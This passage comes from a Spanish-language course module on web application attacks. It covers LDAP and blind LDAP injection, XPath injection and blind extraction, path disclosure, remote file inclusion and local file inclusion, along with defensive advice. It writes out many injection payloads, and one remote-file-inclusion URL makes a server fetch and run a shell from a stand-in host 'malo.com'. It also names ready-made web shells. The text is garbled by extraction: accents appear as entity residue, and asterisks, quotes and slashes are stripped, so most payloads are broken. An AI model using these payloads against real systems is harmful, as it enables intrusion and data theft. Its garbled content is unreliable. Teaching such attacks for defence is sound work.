bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
